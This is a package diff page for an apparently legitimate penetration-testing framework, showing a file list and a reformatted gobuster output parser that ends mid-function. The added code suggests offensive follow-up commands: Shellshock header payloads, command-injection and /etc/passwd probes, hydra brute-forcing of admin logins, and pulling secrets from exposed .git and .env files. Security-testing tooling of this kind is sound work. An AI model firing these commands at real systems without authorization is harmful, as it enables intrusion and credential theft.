souleyez 2.43.26__py3-none-any.whl → 2.43.34__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (358) hide show
  1. souleyez/__init__.py +1 -2
  2. souleyez/ai/__init__.py +21 -15
  3. souleyez/ai/action_mapper.py +249 -150
  4. souleyez/ai/chain_advisor.py +116 -100
  5. souleyez/ai/claude_provider.py +29 -28
  6. souleyez/ai/context_builder.py +80 -62
  7. souleyez/ai/executor.py +158 -117
  8. souleyez/ai/feedback_handler.py +136 -121
  9. souleyez/ai/llm_factory.py +27 -20
  10. souleyez/ai/llm_provider.py +4 -2
  11. souleyez/ai/ollama_provider.py +6 -9
  12. souleyez/ai/ollama_service.py +44 -37
  13. souleyez/ai/path_scorer.py +91 -76
  14. souleyez/ai/recommender.py +176 -144
  15. souleyez/ai/report_context.py +74 -73
  16. souleyez/ai/report_service.py +84 -66
  17. souleyez/ai/result_parser.py +222 -229
  18. souleyez/ai/safety.py +67 -44
  19. souleyez/auth/__init__.py +23 -22
  20. souleyez/auth/audit.py +36 -26
  21. souleyez/auth/engagement_access.py +65 -48
  22. souleyez/auth/permissions.py +14 -3
  23. souleyez/auth/session_manager.py +54 -37
  24. souleyez/auth/user_manager.py +109 -64
  25. souleyez/commands/audit.py +40 -43
  26. souleyez/commands/auth.py +35 -15
  27. souleyez/commands/deliverables.py +55 -50
  28. souleyez/commands/engagement.py +47 -28
  29. souleyez/commands/license.py +32 -23
  30. souleyez/commands/screenshots.py +36 -32
  31. souleyez/commands/user.py +82 -36
  32. souleyez/config.py +52 -44
  33. souleyez/core/credential_tester.py +87 -81
  34. souleyez/core/cve_mappings.py +179 -192
  35. souleyez/core/cve_matcher.py +162 -148
  36. souleyez/core/msf_auto_mapper.py +100 -83
  37. souleyez/core/msf_chain_engine.py +294 -256
  38. souleyez/core/msf_database.py +153 -70
  39. souleyez/core/msf_integration.py +679 -673
  40. souleyez/core/msf_rpc_client.py +40 -42
  41. souleyez/core/msf_rpc_manager.py +77 -79
  42. souleyez/core/msf_sync_manager.py +241 -181
  43. souleyez/core/network_utils.py +22 -15
  44. souleyez/core/parser_handler.py +34 -25
  45. souleyez/core/pending_chains.py +114 -63
  46. souleyez/core/templates.py +158 -107
  47. souleyez/core/tool_chaining.py +9526 -2879
  48. souleyez/core/version_utils.py +79 -94
  49. souleyez/core/vuln_correlation.py +136 -89
  50. souleyez/core/web_utils.py +33 -32
  51. souleyez/data/wordlists/ad_users.txt +378 -0
  52. souleyez/data/wordlists/api_endpoints_large.txt +769 -0
  53. souleyez/data/wordlists/home_dir_sensitive.txt +39 -0
  54. souleyez/data/wordlists/lfi_payloads.txt +82 -0
  55. souleyez/data/wordlists/passwords_brute.txt +1548 -0
  56. souleyez/data/wordlists/passwords_crack.txt +2479 -0
  57. souleyez/data/wordlists/passwords_spray.txt +386 -0
  58. souleyez/data/wordlists/subdomains_large.txt +5057 -0
  59. souleyez/data/wordlists/usernames_common.txt +694 -0
  60. souleyez/data/wordlists/web_dirs_large.txt +4769 -0
  61. souleyez/detection/__init__.py +1 -1
  62. souleyez/detection/attack_signatures.py +12 -17
  63. souleyez/detection/mitre_mappings.py +61 -55
  64. souleyez/detection/validator.py +97 -86
  65. souleyez/devtools.py +23 -10
  66. souleyez/docs/README.md +4 -4
  67. souleyez/docs/api-reference/cli-commands.md +2 -2
  68. souleyez/docs/developer-guide/adding-new-tools.md +562 -0
  69. souleyez/docs/user-guide/auto-chaining.md +30 -8
  70. souleyez/docs/user-guide/getting-started.md +1 -1
  71. souleyez/docs/user-guide/installation.md +26 -3
  72. souleyez/docs/user-guide/metasploit-integration.md +2 -2
  73. souleyez/docs/user-guide/rbac.md +1 -1
  74. souleyez/docs/user-guide/scope-management.md +1 -1
  75. souleyez/docs/user-guide/siem-integration.md +1 -1
  76. souleyez/docs/user-guide/tools-reference.md +1 -8
  77. souleyez/docs/user-guide/worker-management.md +1 -1
  78. souleyez/engine/background.py +1239 -535
  79. souleyez/engine/base.py +4 -1
  80. souleyez/engine/job_status.py +17 -49
  81. souleyez/engine/log_sanitizer.py +103 -77
  82. souleyez/engine/manager.py +38 -7
  83. souleyez/engine/result_handler.py +2200 -1550
  84. souleyez/engine/worker_manager.py +50 -41
  85. souleyez/export/evidence_bundle.py +72 -62
  86. souleyez/feature_flags/features.py +16 -20
  87. souleyez/feature_flags.py +5 -9
  88. souleyez/handlers/__init__.py +11 -0
  89. souleyez/handlers/base.py +188 -0
  90. souleyez/handlers/bash_handler.py +277 -0
  91. souleyez/handlers/bloodhound_handler.py +243 -0
  92. souleyez/handlers/certipy_handler.py +311 -0
  93. souleyez/handlers/crackmapexec_handler.py +486 -0
  94. souleyez/handlers/dnsrecon_handler.py +344 -0
  95. souleyez/handlers/enum4linux_handler.py +400 -0
  96. souleyez/handlers/evil_winrm_handler.py +493 -0
  97. souleyez/handlers/ffuf_handler.py +815 -0
  98. souleyez/handlers/gobuster_handler.py +1114 -0
  99. souleyez/handlers/gpp_extract_handler.py +334 -0
  100. souleyez/handlers/hashcat_handler.py +444 -0
  101. souleyez/handlers/hydra_handler.py +563 -0
  102. souleyez/handlers/impacket_getuserspns_handler.py +343 -0
  103. souleyez/handlers/impacket_psexec_handler.py +222 -0
  104. souleyez/handlers/impacket_secretsdump_handler.py +426 -0
  105. souleyez/handlers/john_handler.py +286 -0
  106. souleyez/handlers/katana_handler.py +425 -0
  107. souleyez/handlers/kerbrute_handler.py +298 -0
  108. souleyez/handlers/ldapsearch_handler.py +636 -0
  109. souleyez/handlers/lfi_extract_handler.py +464 -0
  110. souleyez/handlers/msf_auxiliary_handler.py +408 -0
  111. souleyez/handlers/msf_exploit_handler.py +380 -0
  112. souleyez/handlers/nikto_handler.py +413 -0
  113. souleyez/handlers/nmap_handler.py +821 -0
  114. souleyez/handlers/nuclei_handler.py +359 -0
  115. souleyez/handlers/nxc_handler.py +371 -0
  116. souleyez/handlers/rdp_sec_check_handler.py +353 -0
  117. souleyez/handlers/registry.py +292 -0
  118. souleyez/handlers/responder_handler.py +232 -0
  119. souleyez/handlers/service_explorer_handler.py +434 -0
  120. souleyez/handlers/smbclient_handler.py +344 -0
  121. souleyez/handlers/smbmap_handler.py +510 -0
  122. souleyez/handlers/smbpasswd_handler.py +296 -0
  123. souleyez/handlers/sqlmap_handler.py +1116 -0
  124. souleyez/handlers/theharvester_handler.py +601 -0
  125. souleyez/handlers/web_login_test_handler.py +327 -0
  126. souleyez/handlers/whois_handler.py +277 -0
  127. souleyez/handlers/wpscan_handler.py +554 -0
  128. souleyez/history.py +32 -16
  129. souleyez/importers/msf_importer.py +106 -75
  130. souleyez/importers/smart_importer.py +208 -147
  131. souleyez/integrations/siem/__init__.py +10 -10
  132. souleyez/integrations/siem/base.py +17 -18
  133. souleyez/integrations/siem/elastic.py +108 -122
  134. souleyez/integrations/siem/factory.py +207 -80
  135. souleyez/integrations/siem/googlesecops.py +146 -154
  136. souleyez/integrations/siem/rule_mappings/__init__.py +1 -1
  137. souleyez/integrations/siem/rule_mappings/wazuh_rules.py +8 -5
  138. souleyez/integrations/siem/sentinel.py +107 -109
  139. souleyez/integrations/siem/splunk.py +246 -212
  140. souleyez/integrations/siem/wazuh.py +65 -71
  141. souleyez/integrations/wazuh/__init__.py +5 -5
  142. souleyez/integrations/wazuh/client.py +70 -93
  143. souleyez/integrations/wazuh/config.py +85 -57
  144. souleyez/integrations/wazuh/host_mapper.py +28 -36
  145. souleyez/integrations/wazuh/sync.py +78 -68
  146. souleyez/intelligence/__init__.py +4 -5
  147. souleyez/intelligence/correlation_analyzer.py +309 -295
  148. souleyez/intelligence/exploit_knowledge.py +661 -623
  149. souleyez/intelligence/exploit_suggestions.py +159 -139
  150. souleyez/intelligence/gap_analyzer.py +132 -97
  151. souleyez/intelligence/gap_detector.py +251 -214
  152. souleyez/intelligence/sensitive_tables.py +266 -129
  153. souleyez/intelligence/service_parser.py +137 -123
  154. souleyez/intelligence/surface_analyzer.py +407 -268
  155. souleyez/intelligence/target_parser.py +159 -162
  156. souleyez/licensing/__init__.py +6 -6
  157. souleyez/licensing/validator.py +17 -19
  158. souleyez/log_config.py +79 -54
  159. souleyez/main.py +1505 -687
  160. souleyez/migrations/fix_job_counter.py +16 -14
  161. souleyez/parsers/bloodhound_parser.py +41 -39
  162. souleyez/parsers/crackmapexec_parser.py +178 -111
  163. souleyez/parsers/dalfox_parser.py +72 -77
  164. souleyez/parsers/dnsrecon_parser.py +103 -91
  165. souleyez/parsers/enum4linux_parser.py +183 -153
  166. souleyez/parsers/ffuf_parser.py +29 -25
  167. souleyez/parsers/gobuster_parser.py +301 -41
  168. souleyez/parsers/hashcat_parser.py +324 -79
  169. souleyez/parsers/http_fingerprint_parser.py +350 -103
  170. souleyez/parsers/hydra_parser.py +131 -111
  171. souleyez/parsers/impacket_parser.py +231 -178
  172. souleyez/parsers/john_parser.py +98 -86
  173. souleyez/parsers/katana_parser.py +316 -0
  174. souleyez/parsers/msf_parser.py +943 -498
  175. souleyez/parsers/nikto_parser.py +346 -65
  176. souleyez/parsers/nmap_parser.py +262 -174
  177. souleyez/parsers/nuclei_parser.py +40 -44
  178. souleyez/parsers/responder_parser.py +26 -26
  179. souleyez/parsers/searchsploit_parser.py +74 -74
  180. souleyez/parsers/service_explorer_parser.py +279 -0
  181. souleyez/parsers/smbmap_parser.py +180 -124
  182. souleyez/parsers/sqlmap_parser.py +434 -308
  183. souleyez/parsers/theharvester_parser.py +75 -57
  184. souleyez/parsers/whois_parser.py +135 -94
  185. souleyez/parsers/wpscan_parser.py +278 -190
  186. souleyez/plugins/afp.py +44 -36
  187. souleyez/plugins/afp_brute.py +114 -46
  188. souleyez/plugins/ard.py +48 -37
  189. souleyez/plugins/bloodhound.py +95 -61
  190. souleyez/plugins/certipy.py +303 -0
  191. souleyez/plugins/crackmapexec.py +186 -85
  192. souleyez/plugins/dalfox.py +120 -59
  193. souleyez/plugins/dns_hijack.py +146 -41
  194. souleyez/plugins/dnsrecon.py +97 -61
  195. souleyez/plugins/enum4linux.py +91 -66
  196. souleyez/plugins/evil_winrm.py +291 -0
  197. souleyez/plugins/ffuf.py +166 -90
  198. souleyez/plugins/firmware_extract.py +133 -29
  199. souleyez/plugins/gobuster.py +387 -190
  200. souleyez/plugins/gpp_extract.py +393 -0
  201. souleyez/plugins/hashcat.py +100 -73
  202. souleyez/plugins/http_fingerprint.py +854 -267
  203. souleyez/plugins/hydra.py +566 -200
  204. souleyez/plugins/impacket_getnpusers.py +117 -69
  205. souleyez/plugins/impacket_psexec.py +84 -64
  206. souleyez/plugins/impacket_secretsdump.py +103 -69
  207. souleyez/plugins/impacket_smbclient.py +89 -75
  208. souleyez/plugins/john.py +86 -69
  209. souleyez/plugins/katana.py +313 -0
  210. souleyez/plugins/kerbrute.py +237 -0
  211. souleyez/plugins/lfi_extract.py +541 -0
  212. souleyez/plugins/macos_ssh.py +117 -48
  213. souleyez/plugins/mdns.py +35 -30
  214. souleyez/plugins/msf_auxiliary.py +253 -130
  215. souleyez/plugins/msf_exploit.py +239 -161
  216. souleyez/plugins/nikto.py +134 -78
  217. souleyez/plugins/nmap.py +275 -91
  218. souleyez/plugins/nuclei.py +180 -89
  219. souleyez/plugins/nxc.py +285 -0
  220. souleyez/plugins/plugin_base.py +35 -36
  221. souleyez/plugins/plugin_template.py +13 -5
  222. souleyez/plugins/rdp_sec_check.py +130 -0
  223. souleyez/plugins/responder.py +112 -71
  224. souleyez/plugins/router_http_brute.py +76 -65
  225. souleyez/plugins/router_ssh_brute.py +118 -41
  226. souleyez/plugins/router_telnet_brute.py +124 -42
  227. souleyez/plugins/routersploit.py +91 -59
  228. souleyez/plugins/routersploit_exploit.py +77 -55
  229. souleyez/plugins/searchsploit.py +91 -77
  230. souleyez/plugins/service_explorer.py +1160 -0
  231. souleyez/plugins/smbmap.py +122 -72
  232. souleyez/plugins/smbpasswd.py +215 -0
  233. souleyez/plugins/sqlmap.py +301 -113
  234. souleyez/plugins/theharvester.py +127 -75
  235. souleyez/plugins/tr069.py +79 -57
  236. souleyez/plugins/upnp.py +65 -47
  237. souleyez/plugins/upnp_abuse.py +73 -55
  238. souleyez/plugins/vnc_access.py +129 -42
  239. souleyez/plugins/vnc_brute.py +109 -38
  240. souleyez/plugins/web_login_test.py +417 -0
  241. souleyez/plugins/whois.py +77 -58
  242. souleyez/plugins/wpscan.py +173 -69
  243. souleyez/reporting/__init__.py +2 -1
  244. souleyez/reporting/attack_chain.py +411 -346
  245. souleyez/reporting/charts.py +436 -501
  246. souleyez/reporting/compliance_mappings.py +334 -201
  247. souleyez/reporting/detection_report.py +126 -125
  248. souleyez/reporting/formatters.py +828 -591
  249. souleyez/reporting/generator.py +386 -302
  250. souleyez/reporting/metrics.py +72 -75
  251. souleyez/scanner.py +35 -29
  252. souleyez/security/__init__.py +37 -11
  253. souleyez/security/scope_validator.py +175 -106
  254. souleyez/security/validation.py +223 -149
  255. souleyez/security.py +22 -6
  256. souleyez/storage/credentials.py +247 -186
  257. souleyez/storage/crypto.py +296 -129
  258. souleyez/storage/database.py +73 -50
  259. souleyez/storage/db.py +58 -36
  260. souleyez/storage/deliverable_evidence.py +177 -128
  261. souleyez/storage/deliverable_exporter.py +282 -246
  262. souleyez/storage/deliverable_templates.py +134 -116
  263. souleyez/storage/deliverables.py +135 -130
  264. souleyez/storage/engagements.py +109 -56
  265. souleyez/storage/evidence.py +181 -152
  266. souleyez/storage/execution_log.py +31 -17
  267. souleyez/storage/exploit_attempts.py +93 -57
  268. souleyez/storage/exploits.py +67 -36
  269. souleyez/storage/findings.py +48 -61
  270. souleyez/storage/hosts.py +176 -144
  271. souleyez/storage/migrate_to_engagements.py +43 -19
  272. souleyez/storage/migrations/_001_add_credential_enhancements.py +22 -12
  273. souleyez/storage/migrations/_002_add_status_tracking.py +10 -7
  274. souleyez/storage/migrations/_003_add_execution_log.py +14 -8
  275. souleyez/storage/migrations/_005_screenshots.py +13 -5
  276. souleyez/storage/migrations/_006_deliverables.py +13 -5
  277. souleyez/storage/migrations/_007_deliverable_templates.py +12 -7
  278. souleyez/storage/migrations/_008_add_nuclei_table.py +10 -4
  279. souleyez/storage/migrations/_010_evidence_linking.py +17 -10
  280. souleyez/storage/migrations/_011_timeline_tracking.py +20 -13
  281. souleyez/storage/migrations/_012_team_collaboration.py +34 -21
  282. souleyez/storage/migrations/_013_add_host_tags.py +12 -6
  283. souleyez/storage/migrations/_014_exploit_attempts.py +22 -10
  284. souleyez/storage/migrations/_015_add_mac_os_fields.py +15 -7
  285. souleyez/storage/migrations/_016_add_domain_field.py +10 -4
  286. souleyez/storage/migrations/_017_msf_sessions.py +16 -8
  287. souleyez/storage/migrations/_018_add_osint_target.py +10 -6
  288. souleyez/storage/migrations/_019_add_engagement_type.py +10 -6
  289. souleyez/storage/migrations/_020_add_rbac.py +36 -15
  290. souleyez/storage/migrations/_021_wazuh_integration.py +20 -8
  291. souleyez/storage/migrations/_022_wazuh_indexer_columns.py +6 -4
  292. souleyez/storage/migrations/_023_fix_detection_results_fk.py +16 -6
  293. souleyez/storage/migrations/_024_wazuh_vulnerabilities.py +26 -10
  294. souleyez/storage/migrations/_025_multi_siem_support.py +3 -5
  295. souleyez/storage/migrations/_026_add_engagement_scope.py +31 -12
  296. souleyez/storage/migrations/_027_multi_siem_persistence.py +32 -15
  297. souleyez/storage/migrations/__init__.py +26 -26
  298. souleyez/storage/migrations/migration_manager.py +19 -19
  299. souleyez/storage/msf_sessions.py +100 -65
  300. souleyez/storage/osint.py +17 -24
  301. souleyez/storage/recommendation_engine.py +269 -235
  302. souleyez/storage/screenshots.py +33 -32
  303. souleyez/storage/smb_shares.py +136 -92
  304. souleyez/storage/sqlmap_data.py +183 -128
  305. souleyez/storage/team_collaboration.py +135 -141
  306. souleyez/storage/timeline_tracker.py +122 -94
  307. souleyez/storage/wazuh_vulns.py +64 -66
  308. souleyez/storage/web_paths.py +33 -37
  309. souleyez/testing/credential_tester.py +221 -205
  310. souleyez/ui/__init__.py +1 -1
  311. souleyez/ui/ai_quotes.py +12 -12
  312. souleyez/ui/attack_surface.py +2439 -1516
  313. souleyez/ui/chain_rules_view.py +914 -382
  314. souleyez/ui/correlation_view.py +312 -230
  315. souleyez/ui/dashboard.py +2382 -1130
  316. souleyez/ui/deliverables_view.py +148 -62
  317. souleyez/ui/design_system.py +13 -13
  318. souleyez/ui/errors.py +49 -49
  319. souleyez/ui/evidence_linking_view.py +284 -179
  320. souleyez/ui/evidence_vault.py +393 -285
  321. souleyez/ui/exploit_suggestions_view.py +555 -349
  322. souleyez/ui/export_view.py +100 -66
  323. souleyez/ui/gap_analysis_view.py +315 -171
  324. souleyez/ui/help_system.py +105 -97
  325. souleyez/ui/intelligence_view.py +436 -293
  326. souleyez/ui/interactive.py +23434 -10286
  327. souleyez/ui/interactive_selector.py +75 -68
  328. souleyez/ui/log_formatter.py +47 -39
  329. souleyez/ui/menu_components.py +22 -13
  330. souleyez/ui/msf_auxiliary_menu.py +184 -133
  331. souleyez/ui/pending_chains_view.py +336 -172
  332. souleyez/ui/progress_indicators.py +5 -3
  333. souleyez/ui/recommendations_view.py +195 -137
  334. souleyez/ui/rule_builder.py +343 -225
  335. souleyez/ui/setup_wizard.py +678 -284
  336. souleyez/ui/shortcuts.py +217 -165
  337. souleyez/ui/splunk_gap_analysis_view.py +452 -270
  338. souleyez/ui/splunk_vulns_view.py +139 -86
  339. souleyez/ui/team_dashboard.py +498 -335
  340. souleyez/ui/template_selector.py +196 -105
  341. souleyez/ui/terminal.py +6 -6
  342. souleyez/ui/timeline_view.py +198 -127
  343. souleyez/ui/tool_setup.py +264 -164
  344. souleyez/ui/tutorial.py +202 -72
  345. souleyez/ui/tutorial_state.py +40 -40
  346. souleyez/ui/wazuh_vulns_view.py +235 -141
  347. souleyez/ui/wordlist_browser.py +260 -107
  348. souleyez/ui.py +464 -312
  349. souleyez/utils/tool_checker.py +427 -367
  350. souleyez/utils.py +33 -29
  351. souleyez/wordlists.py +134 -167
  352. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/METADATA +1 -1
  353. souleyez-2.43.34.dist-info/RECORD +443 -0
  354. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/WHEEL +1 -1
  355. souleyez-2.43.26.dist-info/RECORD +0 -379
  356. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/entry_points.txt +0 -0
  357. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/licenses/LICENSE +0 -0
  358. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/top_level.txt +0 -0
@@ -5,7 +5,7 @@ souleyez.parsers.gobuster_parser
5
5
  Parses Gobuster directory/file enumeration output into structured data.
6
6
  """
7
7
  import re
8
- from typing import Dict, Any
8
+ from typing import Dict, Any, List
9
9
  from urllib.parse import urlparse
10
10
 
11
11
 
@@ -50,38 +50,37 @@ def parse_gobuster_output(output: str, target: str = "") -> Dict[str, Any]:
50
50
  ]
51
51
  }
52
52
  """
53
- result = {
54
- 'target_url': target,
55
- 'paths': []
56
- }
53
+ result = {"target_url": target, "paths": []}
57
54
 
58
55
  # Strip ANSI escape codes from output (gobuster progress lines contain these)
59
- ansi_escape = re.compile(r'\x1b\[[0-9;]*[a-zA-Z]')
60
- output = ansi_escape.sub('', output)
56
+ ansi_escape = re.compile(r"\x1b\[[0-9;]*[a-zA-Z]")
57
+ output = ansi_escape.sub("", output)
61
58
 
62
- lines = output.split('\n')
59
+ lines = output.split("\n")
63
60
 
64
61
  for line in lines:
65
62
  line = line.strip()
66
63
 
67
64
  # Skip progress lines (gobuster v3.6+ outputs these on Ubuntu/newer systems)
68
65
  # Format: "Progress: 12345 / 50798 (24.30%)"
69
- if line.startswith('Progress:'):
66
+ if line.startswith("Progress:"):
70
67
  continue
71
68
 
72
69
  # Extract target URL from header
73
- if line.startswith('[+] Url:'):
74
- url_match = re.search(r'\[?\+\]?\s*Url:\s+(\S+)', line)
70
+ if line.startswith("[+] Url:"):
71
+ url_match = re.search(r"\[?\+\]?\s*Url:\s+(\S+)", line)
75
72
  if url_match:
76
- result['target_url'] = url_match.group(1)
73
+ result["target_url"] = url_match.group(1)
77
74
 
78
75
  # Parse discovered paths
79
76
  # Format (v3.6 and earlier): /path (Status: NNN) [Size: NNN] [--> redirect]
80
77
  # Format (v3.8+): path (Status: NNN) [Size: NNN] [--> redirect]
81
- elif '(Status:' in line and not line.startswith('[') and not line.startswith('='):
82
- path_data = _parse_path_line(line, result['target_url'])
78
+ elif (
79
+ "(Status:" in line and not line.startswith("[") and not line.startswith("=")
80
+ ):
81
+ path_data = _parse_path_line(line, result["target_url"])
83
82
  if path_data:
84
- result['paths'].append(path_data)
83
+ result["paths"].append(path_data)
85
84
 
86
85
  return result
87
86
 
@@ -102,25 +101,25 @@ def _parse_path_line(line: str, base_url: str = "") -> Dict[str, Any]:
102
101
  try:
103
102
  # Extract path (everything before first parenthesis or multiple spaces)
104
103
  # Handle both /path and path formats (v3.8+ outputs without leading /)
105
- path_match = re.match(r'^(/?[^\s(]+)\s+', line)
104
+ path_match = re.match(r"^(/?[^\s(]+)\s+", line)
106
105
  if not path_match:
107
106
  return None
108
107
 
109
108
  path = path_match.group(1).strip()
110
109
  # Ensure path starts with /
111
- if not path.startswith('/'):
112
- path = '/' + path
110
+ if not path.startswith("/"):
111
+ path = "/" + path
113
112
 
114
113
  # Extract status code
115
- status_match = re.search(r'\(Status:\s*(\d+)\)', line)
114
+ status_match = re.search(r"\(Status:\s*(\d+)\)", line)
116
115
  status_code = int(status_match.group(1)) if status_match else None
117
116
 
118
117
  # Extract size
119
- size_match = re.search(r'\[Size:\s*(\d+)\]', line)
118
+ size_match = re.search(r"\[Size:\s*(\d+)\]", line)
120
119
  size = int(size_match.group(1)) if size_match else None
121
120
 
122
121
  # Extract redirect target if present
123
- redirect_match = re.search(r'\[-+>\s*([^\]]+)\]', line)
122
+ redirect_match = re.search(r"\[-+>\s*([^\]]+)\]", line)
124
123
  redirect = redirect_match.group(1).strip() if redirect_match else None
125
124
 
126
125
  # Build full URL
@@ -131,11 +130,11 @@ def _parse_path_line(line: str, base_url: str = "") -> Dict[str, Any]:
131
130
  full_url = path
132
131
 
133
132
  return {
134
- 'path': path,
135
- 'url': full_url,
136
- 'status_code': status_code,
137
- 'size': size,
138
- 'redirect': redirect
133
+ "path": path,
134
+ "url": full_url,
135
+ "status_code": status_code,
136
+ "size": size,
137
+ "redirect": redirect,
139
138
  }
140
139
  except Exception:
141
140
  return None
@@ -151,19 +150,15 @@ def get_paths_stats(parsed: Dict[str, Any]) -> Dict[str, int]:
151
150
  Returns:
152
151
  Dict with counts by status code: {'200': 5, '301': 3, '403': 2, ...}
153
152
  """
154
- stats = {
155
- 'total': len(parsed.get('paths', [])),
156
- 'redirects': 0,
157
- 'by_status': {}
158
- }
153
+ stats = {"total": len(parsed.get("paths", [])), "redirects": 0, "by_status": {}}
159
154
 
160
- for path in parsed.get('paths', []):
161
- status = str(path.get('status_code', 'unknown'))
162
- stats['by_status'][status] = stats['by_status'].get(status, 0) + 1
155
+ for path in parsed.get("paths", []):
156
+ status = str(path.get("status_code", "unknown"))
157
+ stats["by_status"][status] = stats["by_status"].get(status, 0) + 1
163
158
 
164
159
  # Count redirects (301, 302, 303, 307, 308)
165
- if path.get('redirect'):
166
- stats['redirects'] += 1
160
+ if path.get("redirect"):
161
+ stats["redirects"] += 1
167
162
 
168
163
  return stats
169
164
 
@@ -175,12 +170,277 @@ def categorize_status(status_code: int) -> str:
175
170
  Returns: 'success', 'redirect', 'client_error', 'server_error', 'unknown'
176
171
  """
177
172
  if 200 <= status_code < 300:
178
- return 'success'
173
+ return "success"
179
174
  elif 300 <= status_code < 400:
180
- return 'redirect'
175
+ return "redirect"
181
176
  elif 400 <= status_code < 500:
182
- return 'client_error'
177
+ return "client_error"
183
178
  elif 500 <= status_code < 600:
184
- return 'server_error'
179
+ return "server_error"
185
180
  else:
186
- return 'unknown'
181
+ return "unknown"
182
+
183
+
184
+ def generate_next_steps(parsed: Dict[str, Any]) -> List[Dict[str, Any]]:
185
+ """
186
+ Generate suggested next steps based on gobuster findings.
187
+
188
+ Each step includes:
189
+ - title: Short description of what to try
190
+ - commands: Example commands to run
191
+ - reason: Why this step is suggested
192
+
193
+ Args:
194
+ parsed: Output from parse_gobuster_output()
195
+
196
+ Returns:
197
+ List of next step dicts
198
+ """
199
+ next_steps = []
200
+ paths = parsed.get("paths", [])
201
+ base_url = parsed.get("target_url", "").rstrip("/")
202
+
203
+ if not paths:
204
+ return next_steps
205
+
206
+ # Categorize found paths
207
+ git_paths = []
208
+ env_paths = []
209
+ backup_paths = []
210
+ admin_paths = []
211
+ cgi_paths = []
212
+ wp_paths = []
213
+ api_paths = []
214
+ config_paths = []
215
+ upload_paths = []
216
+
217
+ for path_info in paths:
218
+ path = path_info.get("path", "").lower()
219
+ url = path_info.get("url", "")
220
+ status = path_info.get("status_code", 0)
221
+
222
+ # Skip 404s
223
+ if status == 404:
224
+ continue
225
+
226
+ # Git exposure
227
+ if ".git" in path:
228
+ git_paths.append(url)
229
+ # Environment files
230
+ elif ".env" in path or "env." in path:
231
+ env_paths.append(url)
232
+ # Backup files
233
+ elif any(
234
+ ext in path
235
+ for ext in [".bak", ".backup", ".old", ".orig", ".save", ".swp", "~"]
236
+ ):
237
+ backup_paths.append(url)
238
+ # Config files
239
+ elif any(
240
+ kw in path
241
+ for kw in [
242
+ "config",
243
+ "settings",
244
+ "database",
245
+ ".ini",
246
+ ".yml",
247
+ ".yaml",
248
+ ".xml",
249
+ ".conf",
250
+ ]
251
+ ):
252
+ config_paths.append(url)
253
+ # Admin panels
254
+ elif any(
255
+ kw in path
256
+ for kw in ["admin", "manager", "dashboard", "cpanel", "webadmin", "control"]
257
+ ):
258
+ admin_paths.append(url)
259
+ # CGI scripts
260
+ elif (
261
+ "/cgi-bin/" in path
262
+ or path.endswith(".cgi")
263
+ or path.endswith(".pl")
264
+ or path.endswith(".sh")
265
+ ):
266
+ cgi_paths.append(url)
267
+ # WordPress
268
+ elif any(
269
+ kw in path
270
+ for kw in ["wp-", "wordpress", "wp-content", "wp-admin", "wp-includes"]
271
+ ):
272
+ wp_paths.append(url)
273
+ # API endpoints
274
+ elif any(
275
+ kw in path
276
+ for kw in [
277
+ "/api",
278
+ "/rest",
279
+ "/graphql",
280
+ "/v1/",
281
+ "/v2/",
282
+ "/swagger",
283
+ "/openapi",
284
+ ]
285
+ ):
286
+ api_paths.append(url)
287
+ # Upload directories
288
+ elif any(
289
+ kw in path for kw in ["upload", "uploads", "files", "media", "attachments"]
290
+ ):
291
+ upload_paths.append(url)
292
+
293
+ # Git repository exposure
294
+ if git_paths:
295
+ next_steps.append(
296
+ {
297
+ "title": "Extract source code from exposed .git",
298
+ "commands": [
299
+ f"git-dumper {git_paths[0]} ./git-dump",
300
+ f"# Or manually: wget -r -np -nH --cut-dirs=1 {git_paths[0]}",
301
+ ],
302
+ "reason": f"Found .git directory - may contain full source code and commit history",
303
+ }
304
+ )
305
+
306
+ # Environment file exposure
307
+ if env_paths:
308
+ next_steps.append(
309
+ {
310
+ "title": "Check exposed environment files for secrets",
311
+ "commands": [f'curl -s "{url}"' for url in env_paths[:3]],
312
+ "reason": f"Found {len(env_paths)} .env file(s) - likely contains API keys, passwords, database creds",
313
+ }
314
+ )
315
+
316
+ # Backup files
317
+ if backup_paths:
318
+ next_steps.append(
319
+ {
320
+ "title": "Download backup files for source review",
321
+ "commands": [
322
+ f'curl -s "{url}" -o backup_file' for url in backup_paths[:3]
323
+ ],
324
+ "reason": f"Found {len(backup_paths)} backup file(s) - may contain source code or sensitive data",
325
+ }
326
+ )
327
+
328
+ # Config files
329
+ if config_paths:
330
+ next_steps.append(
331
+ {
332
+ "title": "Review configuration files for sensitive data",
333
+ "commands": [f'curl -s "{url}"' for url in config_paths[:3]],
334
+ "reason": f"Found {len(config_paths)} config file(s) - check for hardcoded credentials",
335
+ }
336
+ )
337
+
338
+ # Admin panels
339
+ if admin_paths:
340
+ next_steps.append(
341
+ {
342
+ "title": "Test admin panel with default credentials",
343
+ "commands": [
344
+ f"# Check login form at: {admin_paths[0]}",
345
+ f'hydra -L data/wordlists/usernames_common.txt -P data/wordlists/top20_quick.txt {base_url} http-post-form "/admin:user=^USER^&pass=^PASS^:Invalid"',
346
+ ],
347
+ "reason": f"Found {len(admin_paths)} admin panel(s) - try admin:admin, admin:password, etc.",
348
+ }
349
+ )
350
+
351
+ # CGI scripts
352
+ if cgi_paths:
353
+ example = cgi_paths[0]
354
+ next_steps.append(
355
+ {
356
+ "title": "Test CGI scripts for command injection",
357
+ "commands": [
358
+ f'curl "{example}?cmd=id"',
359
+ f'curl "{example}?file=/etc/passwd"',
360
+ ],
361
+ "reason": f"Found {len(cgi_paths)} CGI script(s) - test for command injection and LFI",
362
+ }
363
+ )
364
+ next_steps.append(
365
+ {
366
+ "title": "Test for Shellshock (CVE-2014-6271)",
367
+ "commands": [
368
+ f"curl -A '() {{ :; }}; echo; /bin/id' \"{example}\"",
369
+ f'curl -H "Cookie: () {{ :; }}; /bin/id" "{example}"',
370
+ ],
371
+ "reason": "CGI scripts may be vulnerable to Shellshock on older systems",
372
+ }
373
+ )
374
+
375
+ # WordPress paths
376
+ if wp_paths:
377
+ next_steps.append(
378
+ {
379
+ "title": "Run WPScan for WordPress enumeration",
380
+ "commands": [
381
+ f"wpscan --url {base_url} --enumerate u,p,t,cb",
382
